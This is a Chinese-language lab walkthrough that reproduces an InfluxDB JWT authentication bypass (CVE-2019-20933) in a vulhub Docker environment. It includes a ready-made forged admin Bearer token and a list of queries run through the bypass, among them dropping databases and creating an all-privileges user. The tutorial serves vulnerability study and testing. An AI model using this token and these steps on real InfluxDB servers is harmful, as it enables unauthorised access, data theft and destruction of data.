数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.
InfluxDB 是一个开源分布式时序,时间和指标数据库。其数据库是使用 Jwt 作为鉴权方式,在用户开启认证时,如果在设置参数 shared-secret 的情况下,Jwt 认证密钥为空字符串,这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句,因此会导致敏感信息泄露和执行威胁到数据库的数据命令.
目录:
数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.
InfluxDB 未授权访问:
开启 vulhub 靶场环境:
Jwt验证不当 漏洞:
InfluxDB 未授权访问:
开启 vulhub 靶场环境:
第一步:切换到 vulhub 目录下
cd vulhub
第二步:切换到 influxdb 目录下.
cd influxdb
第三步:切换到 CVE-2019-20933 漏洞目录下.
cd CVE-2019-20933
第四步:开启 漏洞 服务.
docker-compose up -d
Jwt验证不当 漏洞:
第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)
http://192.168.0.105:8086/debug/vars
第二步:访问 http://IP地址:8086/query 查看
查询功能是否会有提示需要登录.
http://192.168.0.105:8086/query
第三步:添加 POST 请求值.
db=sample&q=show users // 意思是:显示 数据库中的用户.
第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)
第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 3751718877
}
( username
需要已存在的用户才行,所以使用 admin 用户就好.)
( exp
是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)
在线时间戳,转换器:
https://www.beijing-time.org/shijianchuo/
第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ
第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.
show users # 显示用户
show databases # 显示数据库
create database xxx # 创建xxx数据库
drop database xxx # 删除xxx数据库
create user influx with password '***' with all privileges; # 创建用户
参考文章:InfluxDB 未授权访问 漏洞复现_debug/vars-CSDN博客